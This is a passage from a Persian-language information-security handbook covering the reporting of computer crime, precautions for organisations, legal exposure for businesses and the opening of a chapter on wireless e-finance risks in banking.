اندازي كنند، تشكيلات و تسهيلات تحليـل       مراكز آموزشي راه  

قانوني تهيه نمايند، و ابزارهاي ديگري براي انجام تحقيقـات          
خصوصاً در مناطق   (معمولاً در دادسراها    . ثمربخش را بكار گيرند   

بعضي بازرسان و داديارها تجربة زيـادي كـسب        ) پيشرفتة كشور 
 كـه اطلاعـات خـود را بـه          كنند و لذا بايد در تلاش باشند      مي

نتيجـة ايـن فرآينـد در       . ساير همكارانشان نيـز انتقـال دهنـد       
سالهاي اخير يك ارتقاي اساسي در سـطح موفقيـت فعاليـت            
نيروهاي انتظامي و انجـام شـدن تعـداد زيـادي تحقيقـات و              

بهتر است  . دادرسيهاي موفق در حوزة جرائم سايبر بوده است       
 نه تنها بـراي     -اي    رائم رايانه كردن ج به فوايد بيشمار گزارش   

:  توجــه داشــته باشــيد-خودتــان، بلكــه بــراي تمــام جامعــه 
ــي  ــق م ــيهاي موف ــوء   دادرس ــوگيري از س ــث جل ــد باع توانن

  .هاي بعدي از سيستمهاي شما و نيز ديگران شوند استفاده

  مسئوليت گزارش جرم
داشته باشيد كه يك جرم تنها درصورتي مورد          در پايان به ياد     

. گيرد كه شما آنرا گزارش كـرده باشـيد   قضايي قرار مي   پيگرد
شـود و ايـن نـه بـه سـود            اينكار انجام نمـي     در غيراينصورت 

شماست و نه هيچكس ديگر؛ و دست نفوذگر را نيز براي وارد           
بـه يـاد    .  گـذارد   آوردن آسيبهاي بيشتر و به افراد ديگر باز مي        

ايـد    رد كرده داشته باشيد كه ممكن است آنچه شما با آن برخو         
اي و اعمــال  جزئــي از يــك مجموعــة عظــيم جــرائم رايانــه

تـوان ادعـا    بدون انجام بررسيهاي لازم نمـي     .  خرابكارانه باشد 
ارتباط بـا   كرد كه آنچه بر سر شما آمده يك رخداد مجزا و بي           

  .ساير اجزاي سيستم بوده و يا جزئي از يك تهاجم بزرگتر

اي ايـن اسـت       ن رايانه مشكلِ ديگرِ عدم گزارش جرائم سنگي     
كه برخي به غلط تصور خواهند كرد كه اين جرائم بندرت رخ            

ــي ــشكلات در    م ــن م ــوع اي ــال وق ــه احتم ــد و درنتيج دهن
بندي و  سيستمهاي خود را ناچيز خواهند پنداشت، روي بودجه       

آموزش مأموران جديد اجرايي تأكيد زيادي بعمل نخواهد آمد؛         
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چيزي خواهد شـد؛ و جامعـه       براي بهبود قوانين فعلي تلاش نا     
نيز به موضوعاتي از اين قبيل توجه كمتري نشان خواهد داد؛           

اي   و خلاصه اينكه نتيجه اين خواهد بـود كـه محـيط رايانـه             
براي همة بازيگران آن خطرناكتر از آنچه ممكن اسـت بنظـر            

  .بيايد خواهد شد

  ...احتياط بيشتر

 جلـوگيري   اي از پيشنهادات ديگر براي    در اين بخش خلاصه   
  :ها ارائه شده استاز سوء استفادة احتمالي از رايانه

هاي رايانه، اطلاعات مربوط به     ها و داده  در متن برنامه   •
بـرداري و مالكيـت انحـصاري خـود را در             حق نـسخه  

اگـر  . ترين بخش هريك از فايلهـا قـرار دهيـد         ابتدايي
ايـد، حتمـاً    بـرداري اشـاره كـرده       صراحتاً به حق نسخه   

پركردن يك فرم مخصوص در همين رابطـه را         امكان  
تواند   انجام اينكار مي  . بيني كنيد براي هر مشتري پيش   

 .تر و ترميم خسارتها كمك كند به بازرسي دقيق

اطمينان حاصـل كنيـد كـه كـاربران دربـارة بايـدها و               •
 .نبايدهاي فعاليتها و مسئوليتها خود آگاهي كامل دارند

ه در شبكة شـما تحـت       تمام كاربران را از هر چيزي ك       •
درصـورتيكه بـا انجـام اينكـار        (نظارت قرار دارد مطلع كنيد      

تواند شامل    اين نظارت مي  ). شود  سياستهاي شما نقض نمي   
شدن كليدها، و دسترسـي     هاي الكترونيكي، فشرده  نامه

چنانچه در مورد اين نظارت هشدار داده       . به فايلها شود  
هاجم هـم   نشود، ممكن است نظارت بر كارهاي يك م       

 .بعنوان نقض قوانين حريم خصوصي تلقي شود

هاي پشتيبان را خـوب تهيـه كنيـد و از آنهـا در                نسخه •
اگـر بـراي كـشف حقيقـت        . جاي امني نگهداري كنيد   

ها را با يكديگر مورد مقايسه قرار       لازم است اين نسخه   
ها دسترسـي     دهيد بايد قادر باشيد افرادي كه به نسخه       

نگهـداري از پـشتيبانها در   . ماييداند را مشخص ن      داشته
شود بعدها نتـوان از آنهـا       محيطهاي عمومي باعث مي   
 .بعنوان مدرك استفاده كرد

درصورت مشاهدة هرگونه مورد مشكوك يا اتفاقي كه         •
بـرداري را  نياز به دخالت مراجع قضايي دارد، يادداشـت  

مشاهدات و فعاليتهاي خود و زمان هريك       . شروع كنيد 
ها از فايلهاي ثبت و ردگيري    . ادداشت نماييد از آنها را ي   

. نسخة چاپي تهيه و آنها را ضميمة يادداشتهايتان كنيد        
هنگام انجام بازرسيها و تحقيقات، وجـود يـك سـابقة           

تواند بـسيار ارزشـمند     كتبي از اتفاقاتي كه رخ داده مي      
زمان و موضوع كلية تماسها با مراجع قـانوني را          . باشد

 .يدنيز به ثبت برسان

سعي كنيد سطوح اختيارات كلية كارمندان و كاربران را       •
بصورت كتبي تعريف كنيد و هرآنچه كـه فـرد بـه آن             

) و نيز هرچه كه به آن دسترسي ندارد       (دسترسي قانوني دارد    
براي ابلاغ ايـن تعـاريف بـه        . را در اين تعاريف بياوريد    

افراد ساز و كاري بيانديشيد كه هر كس بتواند بخـوبي           
 بفهمد و به كار ببنـدد، و محـدوديتهاي حاصـل از             آنرا

 .آنرا نيز درك كند

به كارمندان خود صراحتاً گوشزد كنيد كه ملزم هستند          •
در پايان كارشان و يا هر زمان كه از آنها خواسته شـد             

هـا و   مثل متن برنامـه   (كلية منابعي كه در اختيارشان بوده       
 .را بازگردانند) هاي راهنماكتابچه

اقي رخ داده كـه بنظـر شـما انجـام تحقيقـات             اگر اتف ـ  •
كنــد، اجــازه ندهيــد كاركنــان بــه پليــسي را لازم مــي

تلاشــهاي خودســرانه . تحقيقــات خودســرانه بپردازنــد
ممكن است باعث شوند بعضي مدارك در بازرسـيهاي         

همچنين ممكن  . رسمي سنديت خود را از دست بدهند      
، است بازرسان با مـشاهدة دخالـت شـما در تحقيقـات           

 .نسبت به شما ديد منفي پيدا كنند

اي در زمينـة      كارمندان خـود را بـه امـضاي توافقنامـه          •
مسئوليتهايــشان در قبــال اطلاعــات حــساس، كــاربرد 
رايانه، استفاده از پـست الكترونيكـي و ديگـر مـسائل            

اي كه ممكن اسـت بعـدها مطـرح شـوند ملـزم               رايانه
و اطمينان حاصل كنيـد كـه سياسـتها صـريح           . نماييد

عادلانه هستند و همة كارمندان از آن آگـاهي دارنـد و            
تصريح كنيـد كـه     . اند  موافقتنامه مربوطه را امضا كرده    

يـافتن  كلية دسترسيها و حقوق دسترسي هنگام پايـان       
يابد و هرگونه دسترسي غيرمجـاز        دورة كاري پايان مي   

در خلال يا پـس از پايـان دورة كـاري تحـت پيگـرد               
 .گرفتقانوني قرار خواهد 
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 راهنماي امنيت فناوري اطلاعات ١٨٤

 مخاطرات جنايي در حوزة تجارت
 هستيد يا پايگاه وب و يا به هر صورتي در           ISPاگر شما يك    

اي داريـد، درصـورتيكه از        هـاي رايانـه     محل كار خـود شـبكه     
دستگاههاي شما استفاده نادرست شود ممكن اسـت خودتـان    

  .تحت تعقيب قانوني قرار بگيريد

هـاي شـما     رايانـه  اگر مقامات قضايي به اين نتيجه برسند كه       
، انتقـال و      هـاي ديگـر     توسط يك كارمند براي نفوذ به رايانـه       

اعـم اسـرار تجـاري، تـصاوير        (بنـدي شـده       ذخيرة اطلاعات طبقه  
اي مـورد   يـا همكـاري در جـرائم رايانـه    ) ...مستهجن كودكان، و    

هاي شما با يك حكـم        استفاده قرار گرفته، ممكن است رايانه     
اگـر در خـلال     . يها مـصادره شـوند    توقيف، براي انجام بررس ـ   

تحقيق بتوانيد ثابت كنيد كه دسترسي آن كارمند بـه سيـستم     
ها كاهش پيدا   شما محدود بوده، ممكن است دايرة اين توقيف       

كند، اما باز هم به احتمال زياد بخشي از ماشينهاي شما طـي             
  .انجام تحقيقات رسمي در توقيف باقي خواهند ماند

 هر كشور،    شده در سيستم قانوني   ذيرفتهبسته به راهكارهاي پ   
اگر پليس محلي يا مقامات كـشوري معتقـد باشـند مـداركي             
مبني بر تخطي از قانون وجـود دارد از يـك قاضـي تقاضـاي         

كنند و قاضي نيز حكـم تحقيـق        مجوز براي انجام تحقيق مي    
در ســالهاي اخيــر تعــدادي از بازرســان و . نمايــدصــادر مــي

ت متحده، در برخي ايالتها جايگاهي را       مسئولان كشوري ايالا  
يـك  . اند  براي انجام تحقيقات گسترده و سنگين بوجود آورده       

دليل اين امر، عدم تجربة كافي دوايـر اجـراي قـوانين بـراي              
رسـد بـا انجـام      اي است كه بنظـر مـي        برخورد با جرائم رايانه   

  .اينكار و نيز كارهاي مشابه، به مرور زمان بهتر شود

  ...شتراحتياط بي

خود را به سيستمهاي نظارت بـر شـبكه و نظـارت بـر              •
تواننـد بـر    افزارها مـي  اين نرم . كليد مجهز كنيد  صفحه

شده نظارت كنند   شده يا دريافت  تمام اطلاعات فرستاده  
اگر احـساس كرديـد كـه مـورد         . و آنها را ضبط نمايند    

ايد سريعاً عمليـات نظـارت و ضـبط را          نفوذ قرار گرفته  
و منتظر حكم دادگاه نباشيد؛ چراكه نيروهاي       آغاز كنيد   

تواننـد  انتظامي معمولاً بدون كسب اجازه از دادگاه نمي  
به شما مجوزي بدهند كه بتوانيد بعنوان مجري قانون         
عمل نماييد و دريافت حكـم قاضـي مبنـي بـر اجـازة              

 .دادگاه نيز ممكن است مدتها به طول بيانجامد

 ـ             • راي كارهـا،   با كمـك وكيـل و شـركت بيمـة خـود ب
تحقيقات مرتبط، و هر فعاليت مربوط كه بايـد هنگـام           

هاي اقتضائي تدوين     وقوع يك نفوذ انجام دهيد برنامه     
 .كنيد

آندسته از مجريان قـانون كـه شايـستگي دارنـد روي             •
مشكلات بالقوه تحقيق كنند را مـورد شناسـايي قـرار           
دهيد؛ خود را به ايشان معرفي كنيد، و نگرانيهايتـان را           

چنانچـه  . يش از وقوع حادثه با آنها در ميان بگذاريـد         پ
در آينده به مشكلي برخورد كرديد كه لازم بـود در آن            
از كمك دواير اجرايي قانون و نيروهاي انتظامي بهـره          

توانـد  بگيريد، يك آشنايي بسيار اوليه با اين افراد مـي         
 .بسيار كارساز باشد

مـداوم در   پيوستن به جوامع و سازمانهايي كه بصورت         •
دهنـد تـا   مورد امنيت به افـراد آگـاهي و آمـوزش مـي         

تخصص آنها در اين زمينه افـزايش يابـد را فرامـوش            
 .نكنيد

 

https://telegram.me/karnil
www.karnil.com


  امنيت فناوري اطلاعات و سازمانها: بخش سوم

 

١٨٥  

ش
بخ

 
وم

س
  

  فصل دهم
  :مديريت مخاطرات سيار
  خدمات مالي الكترونيكي

  ١٣٢سيم در محيط بي

  كليات
پردازيم كـه در نتيجـة        در اين فصل به بررسي مخاطراتي مي      

آيند و  سيم در خدمات مالي بوجود مي       استفاده از فناوريهاي بي   
 سـاير    از طريق سرقت هويت، تـسخير فعاليتهـاي سيـستم، و          

ايـن  . كننـد  اقدامات مشابه، امنيت الكترونيكـي را تهديـد مـي      
معاملاتي كه در محيط    " حجم"كند كه اگرچه    فصل روشن مي  

شوند بر گستردگي حوزة اقـدامات ضـروريِ امنيتـي           انجام مي 
سـيم نيـز       اما صـرف اسـتفاده از فنـاوري بـي          تأثيرگذار است، 

در ايـن   . تواند به آشكار شدن نقاط ضعف امنيتي بيانجامـد          مي
گيرنـد كـه راهبـران      فصل چند نكتة مهم مورد اشاره قرار مي       

توانند جهت كاهش مخـاطرات       مي) بخصوص در بانكها  (سيستم  
تا بيشترين حد ممكن و معمولاً بـدون افـزايش زيـاد هزينـة              

اقدامات پيـشنهادي ايـن فـصل       . ده، آنها را انجام دهند    شتمام
براي كاهش مخاطرات، به نوعي الگوهاي سـرآمدي موجـود          

سـيم را نيـز در بـر          در ارائه خدمات مالي مبتني بر فناوري بي       
  .گيرد مي

  سيم در فناوري بي
  صنايع و بخشهاي جديد

سيم در بسياري از بازارهـاي         بي  رشد سريع استفاده از فناوري    
درحال رشد خدمات مـالي، توجـه دقيـق بـه مـسائل امنيـت               

                                                                  
 Tom Kellermanمراجعه كنيد به مقالة بانك جهـاني بـه قلـم       ۱۳۲

  :تحت عنوان
"Mobile Risk Management: e-Finance for the 
Wireless Environment (2002)": 
http://wbln0018.worldbank.org/html/FinancialS
ectorWeb.nsf/SearchGeneral?openform&E-
Security/E-Finance&Publications 

ايـن  . الكترونيكي در حوزة اين فناوري را ضروري كرده است        
موضوع در هيچيك از بازارهاي درحال رشد بـه انـدازة حـوزة           

 كه باعث رواج فناوري تلفن همراه در ايـن          -سيم   فناوري بي 
در هرچـه كـشورها     .  از اهميت برخوردار نيست    -بازارها شده   

 براي ارائه خدمات مالي بيـشتر تـلاش          استفاده از اين فناوري   
سـيم و     كنند، توجه به خطرات بالقوة امنيتـي در فنـاوري بـي           

اينكه شركاي تجاري در بازار و راهبران سيـستم در بانكهـا و             
توانند امنيت را تضمين    ساير مؤسسات خدماتي چقدر بهتر مي     

اين فصل توضـيح ايـن      بنابراين هدف   . شودتر مي   كنند حياتي 
مطلب است كه چـرا و چگونـه امنيـت الكترونيكـي بـه يـك           

توان بدون پرداخت هزينة      شود و چگونه مي     دغدغه تبديل مي  
كنندگان خدمات مالي اين مخاطرات را كاهش        اضافي به ارائه  

با توجه به اين نكتة بسيار مهم كه تغييرات بـسيار سـريع          . داد
ي ثابــت و تغييرناپــذير را از فنــاوري امكــان ارائــه راهكارهــا

راهبران سيستمهاي خـدمات مـالي سـلب كـرده، بـسياري از       
انـد مربـوط بـه امنيـت        اقداماتي كه در اين كتاب توصيه شده      

باشـند، و   سـيم خـدمات مـالي مـي       چندلايه در كاربردهاي بي   
ــوان الگوهــاي ســرآمدي امنيــت   ــانگر آنچــه امــروز بعن نماي

  .ندشوند هستالكترونيكي شناخته مي

خواننده " الف"قسمت  : اين فصل به قسمتهاي زير تقسيم شده      
سيم و خدمات مـالي       را با گسترة وسيع كاربردهاي فناوري بي      

به معرفي " ب"كند؛ قسمت    الكترونيكي در سراسر دنيا آشنا مي     
نقـاط  " ج"پردازد؛ قـسمت      سيم مي   مخاطرات ذاتي فناوري بي   

روالهـاي   و   ١٣٣)WLANs (سـيم     هـاي محلـي بـي       شبكهضعف  
كاهش مخاطرات كه براي تأمين امنيت آنهـا لازم هـستند را            

هـاي سراسـري      شـبكه بـه تكامـل     " د"دهد؛ قسمت   شرح مي 
 و آسيبهاي موجود در آنهـا       ١٣٤)GSMهاي  شبكه(مخابرات سيار   

جزئيات روشـهاي صـحيح مواجهـه بـا         " ه"پردازد؛ قسمت    مي
" و"دهـد؛ قـسمت        را توضيح مي   GSMهاي  مخاطرات شبكه 

 مديريت مخاطره در ارائـه خـدمات        الگوهاي سرآمدي ه ارائه   ب
بنـدي نهـايي و       نيز يك جمع  " ز"پردازد؛ و قسمت      پرداخت مي 

  .كندارائه مي) 3Gنسل سوم؛ (دورنمايي از آينده 

اي از راهكارهـاي مـديريت      هدف اين فـصل ارائـه مجموعـه       
مخاطرات و تأمين امنيت براي بانكها و سيستمهاي پرداخـت          

كنــد بــستري بــراي ارزيــابي ايــن فــصل تــلاش مــي. اســت
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 راهنماي امنيت فناوري اطلاعات ١٨٦

سيم قابل كـاربرد      مخاطرات امنيتي ارائه كند كه در محيط بي       
  .باشد

  ١٣٥كليات خدمات مالي الكترونيكي  .الف
خدمات مـالي الكترونيكـي چـه بـصورت اينترنتـي و چـه بـا                

ــد  دور، رشــد ســريعي داشــته مكانيزمهــاي راه كــشورها و . ان
اين . شوند  اي به هم متصل مي        ايندهكنندگان با روند فز     مصرف

 را گــسترش  فناوريهــا نــه تنهــا كــشورهاي عــضو در شــبكه
دهند، بلكه راههاي جديدي براي ارائه خدمات مالي بوجود          مي
گذاريهاي صنعت بانكداري    سرمايه ۹۰از اواسط دهة    . آورند  مي

براي افزايش رضايتمندي مشتريان روي بانكـداري اينترنتـي         
خدمات مالي الكترونيكـي منجـر بـه كـاهش          .  ندا  تمركز كرده 

شبكة اينترنت عـلاوه بـر      . هاي خدمات مالي شده است      هزينه
هاي ثابـت توسـعه و نگهـداري شـعب،            جويي در هزينه   صرفه

هـا را  بسياري از مراحل اضـافه را نيـز حـذف كـرده و هزينـه           
انجام يك تراكنش عـادي از طريـق يـك          . كاهش داده است  
اي معادل يـك دلار آمريكـا دارد،          ني هزينه شعبه يا تماس تلف   

اي درحاليكه انجام همان تـراكنش بـصورت اينترنتـي هزينـه          
هاي نازل خدمات مالي      هزينه.  دلار خواهد داشت   ۰،۰۲معادل  

خـدمات مبتنـي    . اينترنتي باعث رواج استفاده از آن شده است       
 انـدازة    بر اينترنت در بازارهاي درحال رشد گـاهي اوقـات بـه           

براي مثال بانكداري اينترنتي در     . ات صنعتي رايج هستند   خدم
بـه علـت    .  برزيل همچون ايالات متحده گسترش يافته است      

 مناسـب خطـوط در غالـب كـشورهاي           عدم وجود زيرسـاخت   
، بيـشتر مؤسـسات مـالي خـدمات خـود را در               درحال توسـعه  

اند تا دسترسـي بـه آنهـا را       سازي كرده سيم پياده   بسترهاي بي 
همزمان با اين واقعيتهـا، چهـار گـرايش         .  داده باشند  گسترش

ــد در صــنعت ايجــاد شــده اســت   ــاوري جدي ــا فن ــرتبط ب : م
برونسپاري، معماري باز، اسـتراتژيهاي يكپارچـه، و روشـهاي          

  ١٣٦.جديد پرداخت الكترونيكي

                                                                  
منيـت الكترونيكـي بـه      براي مشاهدة يك تحليل دقيقتر در زمينـة ا           ۱۳۵

 .Vو ، T. Glaessener ،T. Kellermanمنبـع زيـر نوشـتة    
McNevin)  مراجعه كنيد) ۲۰۰۲سال:  

"E-Security Risk Mitigation for Financial 
Transactions" 

136  Gilbride, Edward. Emerging Bank Technology 
and the Implications for E-crime Presentation, 
September 3, 2001 

: خدمات مالي الكترونيكي از چهار قسمت اصلي تشكيل شـده         
ــرمايه  ــال س ــي  انتق ــاي الكترونيك ــادل دادة ، ١٣٧)EFT(ه تب

 و  ١٣٩)EBT (انتقـال سـود الكترونيكـي     ،  ١٣٨)EDI (الكترونيكي
ــي  ــارت الكترونيكـ ــد تجـ ــع EFT. ١٤٠)ETC (تأييـ  در واقـ

ترين صورت تبادل پول الكترونيكي است كه از اوايـل            قديمي
در مقياس جهاني مقدار بسيار زيـادي       .  مرسوم شد  ۱۹۶۰دهة  

EFT              ايـالات   در داخل و ميان بانكها وجـود دارد كـه خزانـة
ــرا حــدود  ــا ۲متحــده ميــزان آن  ۷۰۰ تريليــون دلار در روز ي

اي از  بخـش عمـده  . تريليون دلار در سال تخمـين زده اسـت   
EFT بــانكيِ شــبكة SWIFTالمللــي  بوســيلة خطــوط بــين

 ۲۰۰ حـدوداً نيمـي از        درحال حاضـر  . گيردماهواره صورت مي  
طريق هاي داخلي بزرگ خود را از         كشور دنيا اينترنت و شبكه    

اگرچه غالب اين كشورها از     . كننداي تأمين مي    خطوط ماهواره 
لحاظ اقتصادي توسعه يافته هـستند، امـا ايـن مـسئله باعـث              

شود؛ و ايـن      ترافيك زياد و حجم وسيع عمليات اقتصادي مي       
پذيريهاي امنيتي يك دغدغة بـزرگ      نظر آسيب مسئله از نقطه  
اري اينترنتـي    سهم بانكـد    ۲۰۰۵ تا سال    ١٤١.آيدبه حساب مي  

و در بازارهاي درحـال     % ۵۰به  % ۸،۵در كشورهاي صنعتي از     
درصـورت برقـراري بهتـر      . خواهد رسـيد  % ۱۰به  % ۱رشد از   

اتصالات در بازارهاي درحال رشد ممكـن اسـت تراكنـشهاي           
افـزايش يابنـد؛ كـه    % ۲۰ تا ۲۰۰۵بانكداري اينترنتي در سال    

  رنتـــي رقمـــي بـــيش از شـــش تريليـــون دلار معاملـــة اينت
  ١٤٣. خواهد بود١٤٢)B2B (تجارت-به-تجارت

در پي رشد خدمات مالي الكترونيكي يك نگـرش ديگـر نيـز             
گسترش روزافزون كاربرد ارتباطـات     : گيري است   درحال شكل 

اين رسـانة   . يافته و درحال توسعه   سيم در كشورهاي توسعه     بي
نسبتاً جديد بسرعت درحـال تبـديل شـدن بـه رسـانة اصـلي               

تحـول  . يك و خدمات مالي الكترونيكي اسـت      تجارت الكترون 
كسب و كارها از سيستمهاي كاغذي به بسترهاي مبتنـي بـر            

همينطـور كـه بـستر انـواع        . اينترنت بسيار عميق بوده اسـت     
سـيم بـا امكـان        خدمات از خطوط زميني بـه فناوريهـاي بـي         

                                                                  
137  Electronic Funds Transfers  
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شود، اثرات منفـي ايـن پديـده نيـز            دسترسي بيشتر تبديل مي   
  .يابد گسترش مي

ــ ــشرفت   دس ــة درحــال پي ــوان لب ــروزه بعن ــيار ام تگاههاي س
 تنها يازده   ۱۹۹۰در سال   . شوندفناوريهاي جهان محسوب مي   

 تـا   ١٤٤.ميليون مشترك تلفن همراه در تمام دنيا وجود داشـت         
سـيم ايـن رقـم بـه       و با گسترش فناوريهـاي بـي    ۱۹۹۹سال  

چيزي فراتر از پانصد ميليون رسيد و درحال حاضر نيز تقريبـاً            
بررسي آمار مشابه در كشورهاي     . و برابر آن مقدار شده است     د

درحال توسعه، جهشي كه در اثر استفاده از دستگاههاي سـيار      
 كـشور كــامبوج  ١٤٥.دهـد  بوجـود آمـده را بخـوبي نـشان مـي     

 سال جنگ شـهري شـبكة خطـي         ۲۰درحاليكه پس از حدود     
 سـيم   بـي  ثابت خود را از دست داده بود، با استفاده از فنـاوري     
در خـلال   . توانست بار ديگـر اتـصالات خـود را برقـرار كنـد            

سيم، تعداد مشتركان      بي  يكسال بعد از آغاز استفاده از فناوري      
كامبوج . تلفنهاي سيار از مشتريان تلفنهاي ثابت پيشي گرفت       

درحاليكه يكي از كمترين درآمـدهاي سـرانة دنيـا را دارد، در             
 از جملـه بعـضي      - كشور   ۳۱زمينة گسترش عمومي تلفن از      

 پيـشي گرفتـه   -كشورها كه درآمد بسيار بيشتري از آن دارند       
كشورهاي دنيا بجاي صرف مقادير فراوان منابع و زمان    . است

براي ايجاد زيرساختهاي خطي ثابت جهت تسهيل ارتباطـات،         
اين ساختارهاي سيمي را با برجهاي ارزان تلفـن همـراه كـه             

البتـه ايـن    . انـد   زين نمـوده  تر اسـت جـايگ    توليد آنها نيز ساده   
تحولات مخاطرات امنيتي چندي نيـز بـه همـراه داشـته كـه             

  .بعضي از آنها بسيار جدي هستند

توسعة مداوم اقتصادي و راههاي جديـد ارائـه خـدمات مـالي             
سيم، براي بانكهـا ايـن امكـان را بوجـود             مثل پروتكلهاي بي  

ائه كننـد؛ امـا     اند كه بتوانند خدمات مالي را از راه دور ار         آورده
نكته اينجاست كه اين موقعيتها محـدود بـه اقتـصاد رسـمي             

در كنار اين پيـشرفتها اقتـصاد زيرزمينـي و مجرمانـه         . نيستند
ارائه .  وفق دهد   جهاني هم توانسته به خوبي خود را با فناوري        

سـيم فرصـتهايي را بـراي         هاي بي   خدمات مالي بوسيلة رسانه   

                                                                  
144  Box 1 of "E-Finance in Emerging Markets: Is 

Leapfrogging Possible?", Claessens S., T. 
Glaessener, D. Klingebiel, 2001. 

  :قسمت اول كتاب   ۱۴۵
"E-Finance in Emerging Markets: Is 
Leapfrogging Possible?", 2001. 

  Claessens. S,T. Glaessner, D. Klingebielقلم به

 جعلـي، و همچنـين اخـاذي    هايسرقت هويت، تبادل سرمايه 
  .فراهم كرده است

  مخاطرات خدمات مالي الكترونيكي  .ب 
  سيمهاي بي در شبكه

 جديد، مخاطراتي هم بوجـود آمـده         در كنار فوايد زياد فناوري    
 روشهاي جديد كلاهبرداري و سـرقت را         است، چراكه فناوري  

اكنـون مـسائلي چـون جعـل هويـت،          . كنـد نيز تـسهيل مـي    
ر، و چاپ تـصاوير اوراق بهـادار بـا كيفيـت            دسترسي از راه دو   

عــالي در دنيــاي اينترنتــي وجــود دارد و ابزارهــا و بــسترهاي 
بــا گــسترش . كننــدچنــدمنظوره انجــام آنهــا را تــسهيل مــي

 كه در مناطق درحـال توسـعه        ١٤٦دستگاههاي خودپرداز تلفني  
آورد، بزهكاران قادرند كـه     امكان استفاده از پول را بوجود مي      

سيم ميان دستگاههاي خـودپرداز و بانـك مـادر را            اتصال بي 
دستكاري نموده و كلية تبـادلات ورودي و خروجـي دسـتگاه            

هنر نفوذ برخط در ابتـدا يـك       . خودپرداز تلفني را تسخير كنند    
تخصص پيچيده بـود، امـا عـصر اطلاعـات، زمينـه را بـراي               

 كـه   -گسترش پايگاههاي وب زيرزميني مربوط به نفوذگران        
ا ارائه ابزارهاي مختلف براي نفـوذ بـه زيرسـاختهاي           امروزه ب 

 -كننـد     اي پـشتيباني مـي    اقتصادي، از كلاهبرداريهاي رايانه   
ــت   ــوده اس ــراهم نم ــد   . ف ــايي مانن ــال پايگاهه ــوان مث بعن

www.astalavista.box.sk    و يا www.attrition.org 
ها و ويروسهاي مخربي دارند كـه بـراي افـراد مبتـدي             برنامه

شـركت  . آورنـد ذ به سيستمهاي بانكي را فراهم مي      امكان نفو 
Internet Data Center) www.idc.com ( ــراً در اخيـ

كـل حمـلات سـال      % ۵۷گزارشي اعلام كـرده كـه بـيش از          
  .گذشته، متوجه بخشهاي مالي بوده است

در طـول   . انـد   مخاطرات سنتي سالهاي گذشته متحـول شـده       
سـوء اسـتفاده از     تاريخ تا كنون كلاهبرداريها همـواره شـامل         

اسناد چـاپي يـا سـوء اسـتفاده از افـراد بـوده، امـا در محـيط               
الكترونيكي فرصتهاي جديدي براي جرائم اقتـصادي بوجـود         

ــت  ــده اس ــال . آم ــارم   ۲۰۰۱در س ــك چه ــيش از ي   ) %۲۷( ب
 ١٤٧.انـد  هاي بانكي و مالي مورد دستبرد قرار گرفته        پايگاه داده 

ا بانـك را در سرتاسـر       باندهاي نفوذگران اروپاي شرقي صده    
درحـال حاضـر در جـرائم       . انـد جهان مورد دسـتبرد قـرار داده      

                                                                  
146  Dialup ATM  
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 راهنماي امنيت فناوري اطلاعات ١٨٨

. سازمانيافته، نفوذ بعنوان مدلي براي كسب و كار مطرح است         
 اعلام كرده كـه اكثـر بانكهـا بـه           FBIاي    بخش جرائم رايانه  
آبرويــي و از دســت دادن مــشتريان، بــاج  علــت تــرس از بــي

 سال گذشـته يـك نمونـة         در Eggheadاخاذي  . پردازند  مي
اي شـامل ده       داده  مشهور است، كـه در آن نفـوذگران پايگـاه         

هزار شمارة كارت اعتباري را مورد حمله قـرار دادنـد و بـراي              
اينكه آنها را در يك اتاق گفتگوي اينترنتي منتشر نكنند مبلغ           

بعـد از آن نيـز در      . خواهي كردند   گزافي را از شركت مزبور باج     
موجـودي هـر كـارت مبلـغ كـوچكي كـم            شب كريسمس از    

. بنابراين مشكل فراتر از مسائل مالي و حيثيتـي اسـت          . كردند
بيني حاكي از اين امـر اسـت كـه حـوادث سـرقت                يك پيش 

هويت در ايالات متحده بـيش از سـه برابـر خواهـد شـد و از               
 ميليون دلار در سال ۱،۷ در سال گذشته به  ١٤٨ دلار ۷۰۰,۰۰۰

نـة بنگاههـاي اقتـصادي هـم بـا           خواهد رسـيد؛ و هزي     ۲۰۰۵
 خواهـد   ۲۰۰۵ ميليـون دلار در سـال        ۸از مـرز    % ۳۰افزايش  
  ١٤٩.گذشت

حملــه بــه . گيــري داشــته اســت جــرائم ســايبر رشــد چــشم
 دو برابر   ۲۰۰۰ نسبت به سال     ۲۰۰۱ها در سال      دهنده  سرويس

شركتهايي كه مورد بررسـي قـرار گرفتنـد         % ۹۰شده و حدود    
يابهـا، بـه ويروســها و   ويـروس عليـرغم برخـورداري از انـواع    

 ۲۰۰۱ تحقيـق سـال      ١٥٠.كرمهاي اينترنتي آلوده شـده بودنـد      
CSI/FBI    اي و امنيتـي نـشان داد كـه      در مورد جرائم رايانـه

 ميليون دلار خسارت به بـار آمـده         ۳۷۷ بيش از    نفوذهابدليل  
  ١٥١. است

دليل اصلي عدم برخورد مناسب با اين دسته حـوادث در دنيـا             
 شـركتهاي مـالي بـدليل       ١٥٢.اخبار آنهـا اسـت    ترس از انتشار    

                                                                  
 . آمار تنها نمايانگر جهتگيري سالانه در ايالات متحده استاين   ۱۴۸
 Celent Communications اين نتايج در گزارشي از مؤسسة   ۱۴۹

اسـتفاده شـده     FTCهاي  ز داده  منتشر شد و در آن ا      ۲۰۰۱در سال   
  .است
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 Jamesنمايندة ويژة آنزمان در سـرويس مخفـي جـرائم مـالي،        ۱۵۱
Savageــه ــكا  : "، گفت ــت از اش ــار حكاي ــن آم ــدي در اي لات ج

زيرساختهاي حياتي است، چراكه معنـي آن ايـن اسـت كـه جامعـة               
او معتقـد   ". تجاري تمايل دارد بپذيرد كه از اين نظـر آسـيب ديـده              

است كه اين آمار تنها بيانگر يك قسمت جزئي از واقعيت آسـيبهاي      
  )۲۰۰۳ اكتبر ۳. (باشدوارده به جامعة تجاري ايالات متحده مي

، به ايـن تمايـل   CERT ،Cornelius Tateصوص نمايندة مخ   ۱۵۲
كنم فكر مي: "كندكردن رخدادها اينگونه اشاره مي  به گريز از گزارش   

دار شدن وجهة عمومي خود، از گزارش آسـيبها           نگراني از لكه  
پذير ماندن    و ضررهاي وارده بيمناك هستند؛ و درنتيجه آسيب       

اگر مشخص شود كه يك بنگاه اقتـصادي       . دهند  را ترجيح مي  
اي قرار گرفته، مشتريان ممكن است        هدف كلاهبرداري رايانه  

 خــود را از دســت بدهنــد و از آن پــس مايــل نباشــند اعتمـاد 
ضـروري  . اطلاعاتشان در پايگاههاي آن بنگـاه ذخيـره شـود         

دهندگان خدمات اقتصادي، سيستمهاي خـود را         است كه ارائه  
رسـانة  . به نحوي كنترل كنند كه ضـامن امنيـت آنهـا باشـد            

